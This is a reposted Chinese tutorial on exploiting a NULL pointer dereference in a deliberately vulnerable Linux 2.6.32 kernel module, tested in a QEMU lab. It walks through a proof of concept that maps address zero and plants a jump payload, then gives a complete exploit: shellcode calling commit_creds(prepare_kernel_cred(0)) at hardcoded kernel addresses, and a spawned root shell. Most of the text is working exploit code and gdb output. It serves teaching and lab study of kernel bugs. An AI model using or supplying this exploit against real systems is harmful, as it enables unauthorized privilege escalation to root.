NULL Pointer Dereference(转)
0x00 漏洞代码
null_dereference.c:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>void (*my_funptr)(void);int bug1_write(struct file *file, const char *buf, unsigned long len)
{my_funptr();return len;
}static int __init null_dereference_init(void)
{printk(KERN_ALERT "null_dereference driver init!\n");create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;return 0;
}static void __exit null_dereference_exit(void)
{printk(KERN_ALERT "null_dereference driver exit\n");
}module_init(null_dereference_init);
module_exit(null_dereference_exit);
可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。
Makefile:
obj-m := null_dereference.o
KERNELDR := /home/moon/Desktop/linux-kernel/linux-2.6.32.1/
PWD := $(shell pwd)
modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
将漏洞代码在本地编译(make)之后,将null_dereference.ko文件放到busybox-1.27.2/_install/usr/目录中。
0x01 PoC
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeefint main()
{mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(0, payload, sizeof(payload));int fd = open("/proc/bug1", O_WRONLY);write(fd, "fanrong", 7); // 调用bug1的write函数return 0;
}
编译:
$ gcc -static poc.c -o poc
将poc也放到busybox的usr目录中。
再在busybox的_install目录中执行:
$ find . | cpio -o --format=newc > ../rootfs.img
qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:
(qemu) gdbserver tcp::1234
在本地linux-2.6.32.1目录中用gdb去连接:
$ gdb vmlinux
(gdb) target remote :1234
Remote debugging using :1234
default_idle() at arch/x86/kernel/process.c:311
311 current_thread_info()->status |= TS_POLLING;
(gdb) b *0x0
(gdb) c
Continuing.
在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。
这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:
可以看到如果继续执行就会执行我们的payload。
0x02 exploit
1.思路:给当前进程赋予root权限
commit_creds(prepare_kernel_cred(0));
在qemu中获取commit_creds和prepare_kernel_cred地址:
2.编写shellcode
xor %eax, %eax
call 0xc10680d0
call 0xc1067f30
ret
编译shellcode,并获取其机器码,得到shellcode:
shellcode = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"
现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。
exp.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>char payload[] = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3";int main()
{mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(0, payload, sizeof(payload));int fd = open("/proc/bug1", O_WRONLY);write(fd, "fanrong", 7);system("/bin/sh"); // get root shellreturn 0;
}
将exp.c编译,将exp复制到busybox的_install目录下的usr目录中,再启动qemu,运行exp.
成功拿到root shell. 。
转载于:https://www.cnblogs.com/elvirangel/p/7469531.html
NULL Pointer Dereference(转)相关推荐
- 新手玩转Linux Kernel漏洞之Null Pointer Dereference
新手玩转Linux Kernel漏洞之Null Pointer Dereference 前言 这是我内核漏洞的入门篇, 不是很复杂, 希望能给徘徊在门外的小伙伴一点启发. 漏洞描述 A NULL po ...
- Unable to handle kernel NULL pointer dereference at virtual address 0000000d[ 435.859000] pgd = c9
由于本人刚学驱动新手,不会太多反向操作.看了很多博主也没有解决. 经过我一个下午尝试,把代码缩减缩减在缩减之后,我发现了 先看下面的代码,有问题的代码(扫一眼就行了,估计没人看的出来) #includ ...
- ncnn报null pointer dereference异常
错误描述 基于c++使用ncnn封装了深度学习模型,并将c++项目打包成为了一个so库给Android调用,在打包成为so库之前,在Windows系统以及Ubuntu系统利用电脑的camera测试过都 ...
- Unable to handle kernel NULL pointer dereference at virtual address
1:从sd卡出错log里可以看出来pc指针以及出错位置 PC is at dw_mci_pre_dma_transfer.isra.19+0x7c/0x158 pc : [<8032e130&g ...
- Unable to handle kernel NULL pointer dereference at virtual address 分析
Unable to handle kernel NULL pointer dereference at virtual address 分析 现象 [ 136.847780] br-lan: rece ...
- Unable to handle kernel NULL pointer dereference at virtual address 00000000问题的解决
Unable to handle kernel NULL pointer dereference at virtual address 00000000问题的解决 参考文章: (1)Unable to ...
- Android UVCCamera问题——Cause: null pointer dereference
记录遇到的问题. 采用的开源库链接:https://github.com/saki4510t/UVCCamera 使用该库预览的时候,如果拔掉uvc设备,会造成异常闪退. signal 11 (SIG ...
- Nvidia AGX Xavier 升级到 JetPack 4.6版本 反复打开camera导致内核出错 Unable to handle kernel NULL pointer
这里写自定义目录标题 现象 日志显示 分析过程 解决思路 代码修改 现象 在原来 JetPack4.4 运行稳定的camera驱动,由于算法功能需要,升级到最新的JetPack4.6. 刚开始自测,功 ...
- 2020-10-26runtime error: member access within null pointer of type ‘struct ListNode‘ (solution.cpp)错
runtime error: member access within null pointer of type 'struct ListNode' (solution.cpp)错误 /*** Def ...
最新文章
- webpack 零基础到工程实战(1)
- JAVA SSM框架+Redis 实现单点登录
- python监控桌面捕捉_想要远程获取对方的桌面?Python教你一招搞定!
- 上海三校生应用计算机考试试卷,三校生计算机考试试题.doc
- 阐述游戏关卡设计中的色彩理论
- 有监督机器学习训练流程---人工智能工作笔记0015
- TX-LCN和Seata
- Trie——51nod1526 分配笔名
- mysql修改密码及变更权限
- redis自定义lua脚本
- android系统相机实时数据采集流程,Android摄像头获取实时数据+Demo
- electron项目打包报错
- 输入手机号获取验证码的注册页面,说出测试过程
- 【电化学】-物质传递(迁移与扩散)
- 求html5大佬帮助一下
- 【实验3】——目标的分辨能力
- 品牌策划的驱动内核,营销美学战略和视觉营销策略
- 【任务栏输入法图标不见了怎么办】
- 北京大学安全高效计算实验室(SEC Lab)李萌老师,招收科研实习生
- 幻想三国志 游戏流程详尽全攻略 3
热门文章
- 最新postfix 的master.cf配置参考
- Camouflaged Object Detection阅读笔记
- 【MySQL】MySQL的数据类型
- 滑动窗口提取特征-torch.unfold的应用
- 在Amazon SageMaker上快速、灵活构建TensorFlow模型的在线推理服务
- 手动实现表格分页功能
- (已解决)ImportError: torch.utils.ffi is deprecated. Please use cpp extensions instead.
- CentOS7.2时间不正确
- 2006中国城市竞争力:60个城市综合竞争力排名
- linux ubuntu18.1安装教程,Ubuntu 18.04上Qmmp安装教程